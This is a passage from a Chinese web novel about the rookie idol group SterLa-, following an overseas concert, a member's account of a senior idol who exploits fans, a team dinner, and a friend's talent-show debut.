于是这条博文被那个热门男团的对家掐头去尾截图去嘲讽对方。被热门男团粉丝挖出来源头在她这儿后，原博文里一下子冲进来了大波流量，有男团粉丝骂她的，让她删博的，也有其他粉丝来看戏的。后来营销号见流量这么大也纷纷下场，给这场风波再添几把柴，直接引爆了后面一系列抵制的“对嘴”男团的风潮。 各个视频网站的博主和营销号纷纷开始剪辑或者盘点今年一来打歌舞台的开麦率，教粉丝怎么辨别真假开麦。 这也让从出道开始一直认真开麦唱跳的SterLa-间接成为这波风潮的受益者。 因此团里几人也一直对这个源头Bearing带着几分好感和好奇。 几人一起往后台去。葛文山意外的‘话多’，一路上问询着Bearing的主Rap情况。卫阳似乎也很开心自家大哥兼队长有同行这么欣赏，跟葛文山叽叽喳喳抖露了自家大哥许多事情。 路上于立果悄悄拉过走在卫阳旁边的江翰飞，“你们什么时候认识的？靠谱吗？” “就之前回休息室拿盒饭那次。”江翰飞也小声回复。 “噢，就是你说被欺负到没饭吃的那个团？”于立果恍然。那天江翰飞回来就跟他们说了什么情况。只是送了点吃的出去，江翰飞自己还紧张会不会出什么事儿影响到团里。他却清楚，能被欺负到吃不上饭的团，能给他们找什么事儿。 但没想到，仅仅两个月的时间。 当初被台里欺负到那副境地的团，竟然突然天降流量爆红翻身，成了要被台里请回去打歌的团。也有了资格上这个拼盘演唱会。 时也命也。红与不红，真是难说。 到休息室后卫阳没进去。刚刚他经纪人已经在连环夺命地催他赶紧回去，只得跟江翰飞道个别，说好结束演唱会后微信再约时间。 他们也没多留，“收拾收拾，准备去酒店。” 做妆造不容易，卸妆倒是快得很。 几个大男生并几个一旁的妆造师，手脚麻利地卸完妆，载着两车人往酒店去。 这次行程的住处是主办方统一安排的。跃音APP直接豪气地包了一整个酒店作为参演嘉宾的住处。连安保也一并安排好了，内外多加了一倍的安保人员。确保参演嘉宾在酒店期间的住宿安全。 “姐，晚上我们能出去转转吗？”临回房的时候，禹安从房间门口探出个头，笑嘻嘻地问唐君君。 他们几人的房间并排着，唐君君的房间就在他们旁边。 唐君君瞥他一眼。想想自己和业内人员交流时听到的八卦，自己带的这个团算是很乖的，也知道轻重，点头同意，“可以，做好防护，注意安全。” “晚上十一点前要回来。”想到国外晚上的治安情况，还是不放心地又给加上时间限制。 禹安：“现在已经九点了啊？” 两个小时能干什么？才去到市区就得往回走吧。 “那你要不要出去？”唐君君反问道。 意思是条件没得讲。 “去。” 好歹在旁边转转呢？ 五人戴上口罩和帽子，换了身便装，从酒店侧门溜出去。 有粉丝消息灵通，早知道参演嘉宾们都住在这家酒店，许多其他大热参演嘉宾粉丝都围堵在酒店正门，傻子才走正门呢。 “这还是我第一次来国外。”五人走在小道上，冷空气直往脖子里钻，禹安缩缩脖子感慨道，“好像和国内也没什么区别，冷的要死。” “有区别，酒店挺旧的。”吴星雨说道。 禹安：“好好的氛围被你一说全没了。” “要什么氛围啊？”吴星雨满不在乎，“别想太多，累不累啊？” “出道那段时间也不知道是谁躲在被子里哭” “你怎么知道的？！”吴星雨立马转头看向于立果。 于立果摇头耸肩，可不是自己干的。 吴星雨不可思议地看向葛文山：“葛老师？！” 他万万没想到，爆他丑事的居然是这个话少之又少的葛文山！ 葛文山看看装无辜的禹安。 他能说当时只是觉得队长压力比较大，想找个会说话的安慰一下他吗？ 本来想找于立果的，没找到合适的机会。就找了另一个能说会道的禹安，结果看现在吴星雨的反应，禹安压根儿啥也没说。 “别看了，当时不说才是最好的。”禹安踢踢脚下的路，装作不在意的样子，“那时候我们越说他压力越大。还不如好好表演，有了好的粉丝反馈，自然就没什么心理压力了。” “再说了，哪个新人不出点小问题呢？咱不都犯蠢过？” 葛文山点点头，接受这个解释。确实后来反响变好，吴星雨自己就把心态调整回来了。 江翰飞双手揣在卫衣兜里，把卫衣帽子扣头上，微微低着头，嘴角抿着笑，眼睛微弯，听着身边的队友笑闹。 真好。 第45章 演唱会当天他们睡到九点多才起，这在他们出道后真是难得奢侈的懒觉。 江翰飞站在酒店阳台呼出一口白气，空气又冷又燥，吸进身体里有一种奇异的冰凉感。但冬天的太阳又暖融融的，照在人身上一点不觉得灼热，只觉得温柔。 这儿是个商业化的大城市，挤挤挨挨都是高楼大厦，和国内的大城市大差不差。放眼望去阳光照在玻璃外墙上反射出刺眼的光来，不知道该说是波光粼粼还是光污染严重。 “阿飞，快来洗漱，欣怡姐在催了。” “噢！来了！” 江翰飞放弃思考这个问题，脚步急转回屋，剩一地温热阳光。 “演唱会下午六点开始，十点半结束。”欣怡拿着小笔记本给他们讲今天的后续行程安排，“东西都收拾好了吧？” SterLa-几人一边做妆造一边听。 其实这些早在来的途中就已经说过，欣怡只是以防万一再强调一遍，“下午三点，准时出发去会场。” “结束之后我们是不回酒店的，直接出发去机场。就辛苦大家在车上直接卸妆了。” 他们预计要在年后出二专回归，前段时间每天除了练习颁奖典礼上的表演，其余时间几乎都在和公司开会。 对比出道专的毫无话语权，全权由公司从定概念，定歌曲，定制作，到后续的舞蹈，MV等等。这次的回归二专公司每次制作会议都叫上他们一起。 这让他们本就拥挤的行程，又像海绵挤水似的拧紧几分，浑身都崩的紧紧的。 不然唐君君也不会同意昨天晚上放他们出去溜达‘放风’。 结束这次演唱会之后，回去又是一轮接一轮的会议和讨论。 “都没问题吧？”欣怡问道。 成员们都点头应着。他们东西已经收拾好，待会儿从房间带走就行。 下午三点，众人出发去会场。 路过会场入口处，已经有人开始排队等待入场。排队的人里男女老少，各种肤色和年纪都有。瞥一眼就能看见各种不同肤色和发色的人。有一家四口，带着孩子一起来的夫妻；两个手牵手相互依偎的情侣；还有背着背包或是打扮潮流的少年少女们。 这大概是只有在Dancing Note演唱会上才能看到的盛况。毕竟嘉宾里有各种乐队，有爱豆，有流行明星，也有名不见经传的小歌手。 “啊啊啊啊！” “岸岸！” “我幸福得要晕过去了！” 远处排队的地方突然传出一阵阵尖叫声。 坐在车里的几人被声音吸引，往人群聚集处看去。 “咦？那是KtR他们吗？”于立果认出站在人群中心的那个人，好像是KtR的门面，“是徐寂岸吧？” “就是他。”禹安已经认出来了，语气莫名的冷，“离他远点，不是什么好东西。” 其余四人纷纷向禹安望去。 这是认识？ 禹安也没藏着掖着，直接了当地说，“算是认识，他是我朋友的前男友。” 说着他脸上露出几分明显的厌恶，眉头紧皱，“事关我朋友，我不想多说。” “你们愿意信我就离他远点。” 说完禹安不再看向那边，扭头转身，朝里靠在车壁上。 话说到这个份上，余下几人默契交流一个眼神，也纷纷安静坐回位置。 吴星雨看着几人朝禹安努努嘴，示意他们要不要安慰下。 于立果按住想坐过去的江翰飞摇摇头。 他们不了解事情的情况，别安慰不好反而说错话。 于是车内的氛围一直安静着。 幸好已经到了现场，开到车库也不用太久。等到下车的时候，禹安已经收拾好了自己的情绪，反过来对他们说道，“不用想太多，找时间我给你们细说，今天先准备我们的表演吧。” “就是就是，有啥不能说的。”吴星雨走过去揽住禹安的肩膀，“说出来，哥哥给你解决烦恼。” 禹安抖掉肩上的手，“那我真是先谢谢队长大人了。” “这倒不用，请我吃个饭就成。”吴星雨顺杆子往上爬，想趁机敲诈一顿。 可惜只收获了来自禹安的漠视。 说笑着，温度恢复正常。话题已经开始转向晚点的表演。 “体育馆的演唱会真好。”江翰飞看着站在台上做紧急彩排的歌手，对方好像行程出了什么问题，下午飞机才落地，到现在才是第一次彩排。 馆内使用的印象设备非常好，浑厚低沉的男低音从大音响里传出，回荡在整个会场。江翰飞手搭上塑料的椅背，都能感受到椅背上传来微微的共振。 “会有机会的。”葛文山站在一边，眼睛越过场内，直直望向远处的舞台。 “我赌三年内，我们一定可以。”吴星雨接到。 于立果笑起来，“我赌两年。” 禹安想了想，看着于立果，“我越觉得越快越好，我压你了。” “那我也压你。”葛文山说着压注于立果，眼神却飘向了江翰飞。 江翰飞感受到四位大哥看过来的眼神，“我觉得不用两年，两个小时后就可以了。” 现在刚刚四点过，按照彩排演唱情况，正好在六点多轮到他们登台，可不就是两个小时后吗？ “哈哈哈哈哈！” 几个人笑够，吴星雨提醒着该回后台了，“走吧走吧，观众快要进场了。” 他们从后排的观众席上一路往前走，走近靠近一区的位置，禹安眯眯眼，“那是KtM他们吗？” 他指着站在舞台侧面似乎正在跟工作人员说什么的几个人，不确定地问道。 “是他们。”葛文山仔细辨认一下，认出其中一名成员，“我见过那个人，当时打歌选一位的时候就站在我旁边。” “他们因为彩排的事情正在和主办方闹呢。”欣怡出来接他们，正好听到，顺嘴就说了一句。 几双眼睛又齐刷刷地看向了欣怡。 欣怡一边带着他们往回走，一边四下看看没人，悄悄跟他们说，“KtM是被公司硬加进来的关系户。航班问题没赶上彩排，想等袁杰老师彩排完趁着时间彩排一次的，但是工作人员不同意，还在掰扯呢。” 想想KtM也是安阳娱乐公司推出的新男团，在国内好歹有几分薄面，在打歌的时候去哪儿都是顺顺利利，哪遇上过这种事情。 但是今年KtM在颁奖典礼上一个新人奖都没捞到，全被SterLa-和IUE给瓜分。安阳娱乐的高层不知道是不是害怕丢脸，最后几个颁奖典礼甚至直接没让KtM参加。 要不是这个演唱会是早就定好的行程，跃音App又是安阳娱乐得罪不起的平台。不然这个演唱会他们也不一定能来。毕竟除了KtM，今年最后一期Dancing Note的新人只有SterLa-和IUE。 “行了，少说两句。”唐君君不知道什么时候也来了。 几人听欣怡说得正起劲儿，突然听见唐君君的话被吓了一跳。欣怡赶紧低头闭嘴。 “去整理下妆造。”唐君君看着吴星雨，“带他们再过一下舞台，别以为是自己熟悉的歌就松懈了。” 吴星雨老实点点头，他们本来也是这么打算的， 但是现在不敢顶嘴。 几人留下欣怡和唐君君回了休息室，没一会儿唐君君进来了，欣怡没跟着回来。 天还没完全暗下来，太阳还挣扎在地平线边上，外面的观众已经基本上进场完，坐等开场。 随着几声礼炮，音响开始躁动。 开幕视频是今天第一天所有参演嘉宾的混剪闪回。每出现一个，台下观众们就很给面子的鼓掌或者欢呼，遇到国外名气大的，掌声和欢呼声也格外响亮。 开场嘉宾是国外一支著名的乐队，经常参加音乐节。开场就直接引燃了现场，点燃了所有观众的热情。 带起现场一阵阵尖叫声潮。 连在休息室内都能听到的嘶吼声和尖叫声让SterLa-众人也感到身体似乎都燥热起来。 “好厉害。”江翰飞喃喃。这是他第一次遇到，只是在后台听到现场演唱就能让他有强烈上台冲动的表演。 身体似乎也被他们点燃，心底翻滚起一阵一阵想上台，想唱歌，也想跟着酣畅淋漓释放的冲动。 江翰飞低头看看自己的手，又抬头看看镜子里的自己。 “阿飞，快来。” 吴星雨招呼着他们在休息室里小小地走位，确认舞台细节。 江翰飞却因为这小小的动作变得更加难受。 心里被压着的情绪翻涌得更加激烈。 SterLa-作为新人，出场顺序早。开场后过了五六组就轮到到他们。 上台时，作为新人的他们，除了友善的鼓掌声再无其他。 会场内不少人见是不认识的嘉宾上来，直接起身去卫生间。 熟悉的前奏响起，音响的扩音效果极佳，伴随江翰飞的吟唱回荡在整个体育馆会场内。刚刚显出几分嘈杂的现场安静下来，正在会场内开小差交谈的人也闭嘴倾听。 “这是谁？” “不认识，是新人吧？” “虽然听不懂，但感觉唱的挺不错。” 台上的队友们本来已经听习惯了这首歌，但是今天的江翰飞唱的格外有味道，加上现场反应。SterLa-似乎也被引爆了。接着的于立果，葛文山，吴星雨，禹安发挥格外好，到了江翰飞的高音部分，声音像是直接穿透了云霄，引来台下同行们的侧目。 江翰飞颈侧的青筋暴起，高音中难得带上一点撕裂感，不如以往现场的透亮，却格外适合现在。高音结束，收麦，转身又融入队伍中的Dance Break。 SterLa-气势汹汹，五个人加上六个伴舞老师，十一个人跳出了一百个人的气势。 一曲终了，台下欢呼声阵阵，好些原本去卫生间，结果走到一半被定住的人直接跳起来挥手。见SterLa-下台了，赶紧又继续往卫生间跑去。 排在SterLa-后面的IUE却隐隐面色发白，这要怎么拿回场子？ 第46章 SterLa-下台后，朱朱反复看着手里摄像机的视频，露出一个开心的笑，宝贝似的把摄像机抱在怀里。 时隔三个月，再次见到了当初一脚把她揣进坑里爬不起来的初心版江翰飞。 外表没有太大的变化，但是眼睛里的火怎么也藏不住。只要和那双眼睛对上，就能被里面蕴含的热量和爆发力所震慑。 昨天江翰飞在飞机上遇到私生的事情早在粉丝之间传开。小蝴蝶们被气坏了，在网上痛骂私生不要脸，骂公司不作为没有保护好他，除此之外他们好像也没有其他办法能保护他。 小蝴蝶们一边生气一边还很担心她们的崽。 江翰飞只是个出道还没有半年的新人，这却已经是第二次遇见疯狂的私生，这次还是在高空封闭的飞机上。也不知道人有没有受到惊吓，能不能调整好自己的情绪和状态。 今天朱朱来的时候也怀着担心和疑问，但看过他的表演就知道：江翰飞不仅没被影响到情绪，发挥得甚至比打歌时期还要好。 朱朱没有多加工视频，这个视频也不需要多复杂的加工，简单剪辑了一下就发上了账号。 安一安小蝴蝶们的心。 果然小蝴蝶们看到这个视频被自家爱豆迷得嗷嗷叫，提着的心也放下了。 美色当前，当然是先欣赏崽的舞台啦！ 不过相对的，KtM的粉丝就过得颇为凄惨。 在新人奖前和IUE、SterLa-的粉丝碰过，当时就被两家压着打；后又在新人奖期间一个新人奖都没分到，又被IUE和SterLa-两个直接瓜分新人奖的情况虐。到后来，公司甚至直接没让他们再出席后面的颁奖典礼。 粉丝们是一边心疼自己爱豆没得奖，一边在网上使劲儿骂KtM公司的雪藏行为。 公司脑子有病吗？ 这么大流量的颁奖典礼不参加，到底是想干什么？ 甚至有富婆粉丝姐姐租用了几辆卡车直接开到公司楼下拉上横幅，要求公司恢复KtM的行程。 这次KtM能成功出席知名拼盘演唱会，原以为是他们的操作有效。让KtM在接连缺席了好几个颁奖礼后能参加海外的演唱会。 没想到他们的另一个对家KtR也受邀作为演唱会的参演嘉宾。 KtR作为男友风男团成名多年，当初KtM出道时直接就被KtR的粉丝打成了克隆蹭热度的对家。骂他们不要脸，连团名都抄袭。 后来一直摩擦不断。 这下在演唱会遇上，又被嘲笑说KtM是KtR的大型私生团，什么行程都跟。 接连受到打击的KtM粉丝不少人被虐到脱粉，只剩下一批中坚的死忠粉，坚持为自己爱豆应援。 想当初IUE，KtM和SterLa-一起在去年十月回归大战中出道，那时候还在预测新人奖会花落谁家，谁的音源最好，谁会最先拿到第一个一位。而现在的KtM已经没法再和另两个相提并论了。 “那些KtR的粉丝有病吧？” “就是，我们去参加演唱会关他们什么事？” “真的觉得有点累了。” “抱抱姐妹，累了就休息一下再重新出发吧。” “那个徐寂岸自己什么德行他自己不知道吗？他们粉丝还好意思跟骂我们？” “诶，毕竟圈内大前辈。” “得了吧，这两年都没什么作品，全在吃老本，一年不如一年。” “徐寂岸的事儿是在说谈恋爱那件事？” “……” “所以当时被爆出来的那个女生是你朋友？！”吴星雨怪叫道。 “嗯。”禹安语气不耐烦，“信不信由你们。” “我们没说不信啊。”吴星雨摆摆手，又凑过去一点，“这不是太震惊了嘛。” SterLa-的回程吸取前车之鉴，公司给他们买了头等舱不说，唐君君把随行的几位工作人员也升舱到头等舱，直接包了整个头等舱，还给他们分了几个组，时刻保持有人清醒，有不认识的人进来就拦下。于是回程路上安静得很，他们几个睡了一路。回到宿舍的时候晚上八点，几人精神抖擞，默契地一起凑在客厅沙发听禹安讲当时在车上没说完的话。 “那你朋友真的是在跟他谈恋爱？”吴星雨追问道，“我没有别的意思啊？就是想知道当时是什么情况。” “没有。”禹安否认，过了一会儿才说道，“我朋友是被骗了，她以为自己是在跟他谈恋爱。” 江翰飞一直安安静静地抱腿坐在单人沙发上，听到这儿才说了句，“禹安哥，不好说的话也没事的。” “毕竟是你朋友的隐私，又是女孩子。” “我们肯定相信你的。” “没事。”禹安挥挥手，“我问过她了。” “徐寂岸不是以亲近粉丝，喜欢给粉丝惊喜的明星男友出名吗？”禹安撇嘴，“其实他每次去，都是去看美女的。” “他们是男友风男团，本来女友粉就特别多。女粉丝们去他们的演出时，也都会打扮得漂亮精致。他就是打着给自己粉丝惊喜的名义，直接去粉丝堆里近距离观察。遇见合心意的，就给自己的私人助理暗示，他的私人助理就会去给这个女生递纸条，告诉那个女生一个账号让她跟那个账号联系。“ “最开始是不会明说那个账号后面是他的，只有到了后面，他聊过觉得女生比较好控制之后，才会慢慢地暴露自己。” “会给人做一些似是而非的小动作，比如去看他演唱会的时候故意往你这边挥手，打招呼，比爱心；在那个账号上有意发一些暧昧不清的话，还会给你送礼物。” “女生们都以为自己是在跟他谈恋爱。实际只是” 最后的话，禹安说不出口。 他最开始是因为这位朋友的鼓动才开始了解这个行业，才开始想要成为一名偶像。不夸张地说，当初这位女生嘴里的偶像是他当时下定决心想成为偶像的初心。 但他想成为的不是这种偶像，甚至他觉得就是因为行业里有这种人品低劣却又善于隐藏的人存在，才让这个行业时常被人误解。以至于很多路人在不了解他们的时候就对他们充满反感，不愿意再去了解正常生态下的他们 。毕竟丑闻的出圈程度远不是一个正常舞台可比的。 整个屋子里的人都沉默下来。 他们是新人不假，但不是第一天了解这个行业。 灯光太亮，有时候也会遮掩住部分黑暗。 这个时代的这个圈子里，流量和资本为王。霸凌，特权，交易在这个圈子的屡见不鲜。它们潜伏在水面下伺机而动，不知道什么时候就会咬上来，把想真正努力认真做好自己的爱豆拖下水。 “那她后来……还好吗？”葛文山问到。 “没事，她知道我要跟你们说，还让我讲清楚点，重点突出一下那个人的恶心。”禹安脸上没有故作不在意，反而认真地跟他们说，“她走出来，花了两年。” “没有想过曝光这件事吗？” 禹安苦笑着摇摇头，“人有时候是会自我欺骗的。她之前想联合其他女孩子曝光徐寂岸，不少女生虽然自己受了伤，但还是心软不愿意曝光。更有人求着她不要曝光，不想结束这段关系。” “而且互相暧昧时他给她们买过奢侈品礼物，也从来没有承认和任何一个人是恋爱关系。他还跟我朋友说这是你情我愿的事情，别收了钱和东西就翻脸就不认人。” “那这和私生有关系吗？”江翰飞突然没头没脑地问了一句。 其他几人都奇怪江翰飞怎么突然又扯上了私生。 只有禹安深深看了江翰飞一会儿，才叹气道，“你怎么老是在这种地方精明？” “当时爆出我朋友照片的就是私生，当时说的是徐寂岸招女票；因为这私生见过很多不同的漂亮女生进入徐寂岸的家里，她以为他是在“ 难怪禹安对私生的厌恶这么明显。虽然对方曝光了渣男行径，但目的不纯，而且对另外的受害者造成了二次伤害。 江翰飞皱皱眉冷声，“真让人恶心。” 他又想到了当初在奶茶店工作时那几个给明显做宣传的女孩子，他们打歌和上下班路上用期待和欣喜的眼神望着他们的女孩子，还有更多在网线的另一头，即使从未谋面也愿意为他付出时间精力在网上给他做宣传，做数据，做视频，为他买代言等等等等。为了见他一面，能跨越上千公里的距离，能熬一整个通宵，能花费他不敢想的金额。 他被路人夸奖唱歌好听，粉丝们回复里透露出的激动和感谢比他还多。他拿到了奖项，她们比他还感动，还开心。他遇到事情，她们比他最亲的人给予的关心和鼓励还要多。 出道之后，他的努力从一开始为了完成系统任务，变成不想拖团队后腿，后来又加上为了那些期待着他的粉丝。 他诚惶诚恐。 一直觉得自己收到的实在太多，但是给予粉丝们的又实在太少，只能每次都想着怎么能做得更好一些。 但这个人却利用着粉丝们的爱和信任做这种事情。 于立果看出江翰飞情绪不好，缓和道，“确实是恶心，难怪禹安你一直不跟我们说什么情况。” “不过就想禹安说的，事情本质是个人品德的败坏。即使他不是偶像，也会是个渣男。” “我们无法改变别人，我们能做的就是做好自己。” “就是，咱也不是那样的人啊。”吴星雨接着说道。 禹安瞪眼，“废话，你们要是那样的人我能和你们讲这事儿？” “要是你朋友有什么需要就说，我能帮就帮。”于立果说道。 听见这话，葛文山意外地看了他一眼，也说道，“我们一定帮忙。” 江翰飞和吴星雨也点头应是。 “看她自己，再爆出来又是重新撕开她的疤。”禹安叹口气，“她好不容易走出来。而且上次闹得这么大，徐寂岸还是被他公司保下了。再曝光也不一定能有结果，所以看她自己的选择吧。” “好了，就到这儿吧。反正这个人是垃圾，他们团队是否知情我们不知道，所以还是远这点吧。” 其余四人一起点点头。 禹安结束话题，众人散开回自己房间收拾行李箱的东西。 “嗯？现在吗？”江翰飞突然接到唐君君的电话，“好，我马上过来。” “怎么了？”禹安不解，大半夜了，又刚从国外回来，怎么会这个时候让江翰飞去公司。 “没说，说是有事找我，让我先过去一趟。”正好他还没换衣服，穿上鞋匆匆出门。 第47章 早上十点，SterLa-练习完舞蹈，又被拉来开会。 会议桌上每人位置前都摆着青山咖啡。这是自从SterLa-代言青山咖啡后，青山那边送过来几台咖啡机和配套设施，以及慢慢几大袋据说是他们老板都很喜欢的高级咖啡豆。 “出道专《钢铁丛林》的设定不错，二专可以延续一专的设定。”营销部门的工作人员说道。 “当初做出道专的设定的二专是《唇枪舌剑》嘛。按照这个概念选曲我们已经选了一半了，但是主打还没定下来。” “SterLa-你们怎么看？” 唐君君坐在会议桌最前面，视线转向坐在左侧的SterLa。让他们收紧行程也要腾出时间来参与专辑制作会议是她要求的。她唐君君想要的不仅是能消化好概念和歌曲的团队，要的更是一个能在自己的作品中表达出自己的团队。只有在作品中拥有自己独特的表达，才能在众多同质化的制作中脱颖而出。 吴星雨看看身边的队友们，转头答道，“我们也觉得出道专的主题延伸挺不错的。“ “出道专的《钢铁丛林》讲的是工作党在白天积累的压力梦魇会在晚上睡觉的时候来袭击嘛。那我们第二张专辑以《唇枪舌剑》作为主题也很合适，正好之前我们也遇到了一些舆论上的问题。“于立果补充道。 “我们的MV好像挺多人没有完全看懂，这个需要调整吗？” “不用，完全看懂就没有吸引力了。每一个画面的解读本来就应该有千万种不同的。”唐君君否掉。太直白的表达反而会让人失去兴趣。 “那我们在舞蹈里加一些特色舞蹈呢？”吴星雨又开口说道，“比如剑舞这类，能和我们的主题扣上。” 唐君君点点头，“这个记下来，编舞老师制作的时候看看适配性。” “Rap段我和葛文山想着我们可以先写，如果制作人老师不满意，我们就改用回原曲的？”禹安问道，“这样可以吗？” 唐君君很满意他们有想自己创作的想法，面上不动声色地应到，“你们先写，写完再看。” “言辞尺度自己把握好。” “……” 会议很快接近尾声。唐君君意外地让制作人员先出去。 被留下的五人心里开始默默回想着这两天有没有做什么出格找骂的事。 “你们的出道专和代言结算出来了。”唐君君没有废话，一句话直达主题。 一听这话，几人立即将刚刚的猜测抛到脑后，“君君姐，是我们理解的那个结算吗？” 吴星雨不确定地问道。 “那不然呢？”唐君君好笑，“出道专和代言的结算稍后会到你们账上，金额按照合同分成，你们的金额都是一样的，有什么问题直接找我。” 唐君君说完干脆利落地离开，剩下几人还坐在会议桌前。 “要不要今天晚上一起出去聚餐？”江翰飞问道，“我们好像还没有一起聚餐过。” 江翰飞到这儿之前上过一年大学，也有过多次打工经验。按照他的了解，一般发工资都会和朋友一起聚餐什么的。 听江翰飞这么一说，于立果和禹安立即响应。 葛文山直接问道，“我对附近吃东西的地方不熟，有推荐的地方吗？” 吴星雨放下跟唐君君报备的手机。 最终几人来到一家粤菜店，就在公司街道旁边。味道好，有包厢，最主要是葛文山认识人家老板，他们可以直接从后门进去，不会惹眼。 开席，几人先一人喝了一碗这儿的招牌汤品，满足的叹口气。 他们出来吃饭，当然不可能喝酒，也不用劝菜，各自埋头苦干。 上来一道黑松露香煎牛肉粒，吴星雨挖了一勺放进江翰飞碗里，“尝尝，这个好吃。” 等他再把视线放回餐桌，面前的牛肉粒已经被转走了，转完一圈再回来，只剩下一个空盘子，散着两三颗。 接着就对上禹安挑衅的目光和于立果装无辜的眼神。 吴星雨：我真是谢谢你们还给我留这么三瓜俩枣 江翰飞见状憋笑，把刚刚吴星雨给他的又分回一半给他。 葛文山是唯一没有波及的，他压根儿没向那边伸筷子。 “山哥吃点虾吧。”江翰飞把白灼虾转到葛文山面前。因为葛文山的姓，叫葛哥像是在叫哥哥，所以大家都叫他葛老师或者山哥，文山哥。 葛文山应好，加了几个虾放到碗里慢慢剥，没在夹过其他菜。 其他人见怪不怪，葛文山是易胖体质，他进公司开始就在严格管控饮食，最爱吃的薄荷糖进公司后也改成了无糖薄荷糖。 从还是个练习生的时候就开始减肥，硬生生地从健壮减到现在这样的清瘦的纸片人体型。中间吃了多少苦他不说大家也知道。 而且出道之后对自己的饮食管控得更加严格，就他们一起吃饭的时候，从没见过葛文山吃过重油盐的东西。 刚刚那道黑松露香煎牛肉粒，就因为裹了酱汁，他就没夹过。 一开始他们不好劝，熟了之后也劝过。但是葛文山说不吃就是不吃，公司那边也嘱意他保持现有的身材，默许他保有现在的饮食习惯，毕竟他好大一部分粉丝群体是吃他身材颜值的。 江翰飞看了会儿，站起来又给葛文山打碗汤放他旁边。 “谢谢。”葛文山说道。 他知道队友们担心他节食过度。但他和他的身体已经适应了这样的饮食，虽然能吃的少了很多，但是他觉得挺值得的，至少他没觉得后悔过。 聚餐的最后，吴星雨给每个人添上汤，举起汤碗，“虽然有点俗气，但我还是想和大家干一碗，我们以汤代酒吧。” “很庆幸和你们组成了一个团，也真心希望我们SterLa-能走得更远，更高。” 江翰飞也举起手里的汤碗，碗碰到一起时发出清脆的撞击声，心里莫名生出一种圆满。 今天可能是个非常好的日子。 他们吃完从饭店出来，江翰飞接到了一个电话。 “飞哥！”时元充满活力的声音从电话那头传来。 “小元。”江翰飞笑着应道，“在呢。” 于立果听到小元也凑过来，“你于哥也在旁边。” “于哥，飞哥！我入围决赛啦啊啊啊。”时元在那边开心地蹦蹦跳跳，“决赛在两周后，你们能过来吗？我还有亲属票！” “恭喜小元儿。”江翰飞笑得眼睛弯弯，“我和于哥都追着看你的节目呢，小元儿表现得超好。” “决赛我们跟经纪人和公司申请一下能不能去，你先专心准备最后一个舞台吧。”于立果在旁边说道。担心时元听不清楚，说话声音特别大。 路人被于立果的声音吸引，朝这边看过来。 嚯，五个大高个大晚上的戴着口罩帽子，遮得严严实实，看着挺大只，这么怕冷啊？ 也幸好现在是冬天，戴着帽子的不少；尽管他们装扮稍显奇怪，但还在大众常识的接受范围内，没引起围观。 江翰飞赶紧把手机塞进于立果手里，让他拿着和时元聊。一边拽过于立果跟上往前走的队伍。 “两周后是春节，不知道公司那边怎么安排工作。”于立果放回了正常音量和时元聊着，“要是公司同意我和你飞哥就去，好吧？” “嗯嗯！能来就好了，决赛应该很多人的！”时元想得很简单，决赛肯定有很多流量，如果他飞哥和于哥能来，肯定会给他们镜头，也能吸粉的！ “小元好好准备决赛吧，我和于哥会去申请的。”江翰飞笑着说，顿了一会儿，“但是如果公司不允许我们不能去现场，你也不能失望啊，好好调整心态，表现出自己最好的一面。” “嗯嗯，我会的，飞哥！”时元的声音元气满满。这也是他粉丝喜欢时元的原因，本来就是个还在成长的少年，朝气蓬勃，元气满满。光是听着声音都让人觉得有种向上的蓬勃感。 走在前面的三人也在低声聊着，“是之前他俩拍视频加油的那个选手吧？好像叫时元。” “是他。”禹安知道的最多，“他上期排名挺好的，好像是第三还是第四。””按照他们选9个出道，不出意外是能出的。具体名次还得看公司和粉丝的情况。“ “你这么了解？”吴星雨不解地看过来。 禹安清清嗓子，说道，“毕竟是我们公司的，而且又是阿飞和于哥的朋友。” “再说了，选秀流量大得很，听说他们赶在今年春节前出道，就是为了赶上春节的流量福利，想要一飞冲天呢。” “我这是提前了解我们的潜在竞争对手。” “有道理。”吴星雨摸摸下巴，“学到了。” “马上春节了啊？” “我好像上次回家也是在去年除夕前一天。在家呆了两三天就回公司练习，当时一门心思的惦记着出道呢。” “谁不是呢。”禹安也想起自己已经一年没回家了。 第48章 赶在春节前，青川台吸引了大量目光的第二季选秀节目迎来决赛。 江翰飞和于立果作为时元的亲属团站在亲属区的站坑里。时元也邀请了宋文斌和高崎，只是现在的宋文斌当老师，有排课走不开；高崎转行去当模特，意外的受市场欢迎，现在正在国外走秀，一时半会儿也回不来。 “小元儿成长也太多了！”江翰飞压低激动的声音和于立果说道。 两人低调得很，现场的导播又配合着藏着这两个小惊喜，刻意不让他们暴露在观众眼里。他俩就顺顺利利地呆到了排名宣布前。 “下面宣布第三名。”上面的主持人看了眼手卡，”这位练习生以少年感深受各位造星人的宠爱“ “少年感！是不是就是小元了？”于立果也难得激动地扯着江翰飞的袖子。 江翰飞没回答，他心都跳到嗓子眼了，比他第一次考核，第一次上台还紧张。任由于立果扯着自己的袖子，眼睛眨也不眨地盯着台上主持人。 “在前几次的排名中，这位练习生一直保持着高位。”主持人刻意停顿片刻，等待着耳机里导播的指示。 台下的粉丝们被这一句话三个停顿的宣布搞得暴躁无比，恨不得冲上台去抢过主持人的手卡自己痛快地宣布。 “那么他是“ 而真到了宣读排名的时候，场内忽地安静下来，只偶尔听见某位粉丝叫喊着自家爱豆的名字。 “时元！”主持人痛快地宣布，“恭喜时元练习生获得第三名。” “啊啊啊啊啊！” “圆子！！” “时元宝宝！！！！” 时元的粉丝激动地尖叫，使劲儿地摇晃着手里的灯牌，不少感性的粉丝激动地哭出来。一个十几岁的小孩儿，在一百多个人里努力拼杀出来，太不容易了呜呜呜！ 江翰飞和于立果也激动地抱在一起跳起来。时元是他们的弟弟，他俩确定为出道组以后一直担心时元心里会觉得自己被丢下。可小孩儿懂事儿，还主动反过来安慰他们。现在看到时元也走上了自己的道路，两人心里更是成就感混杂着骄傲：小元儿真是太厉害了，小元儿的粉丝也真有眼力，能一眼相中小元儿。 时元从剩下的练习生里走出，站到属于他的小舞台上。 “时元练习生，恭喜你出道。”主持人把握着节奏，“有什么想和造星者们分享的吗？” “大家好，我是练习生时元。”时元拿着话筒的手在微微颤抖着，脑子发涨，努力回想着自己准备的说辞，“真的非常非常非常感谢各位造星者的支持。” 说着，时元深深地鞠躬。 再直起来时眼泪已经顺着脸颊流下。他吸吸鼻子，开始说着自己的出道感言。 “，最后我还要感谢几个人。“时元的目光往亲属区看去，”是我的几位哥哥。“ 摄影师跟着导播的指示，将镜头对准江翰飞和于立果两人，两张帅脸出现在大屏幕上。 “啊啊啊啊！是SterLa-！“ “谁？哪儿来的两个大帅哥？” “是小元的亲哥哥吗？” “江翰飞！于立果！居然是你们！” 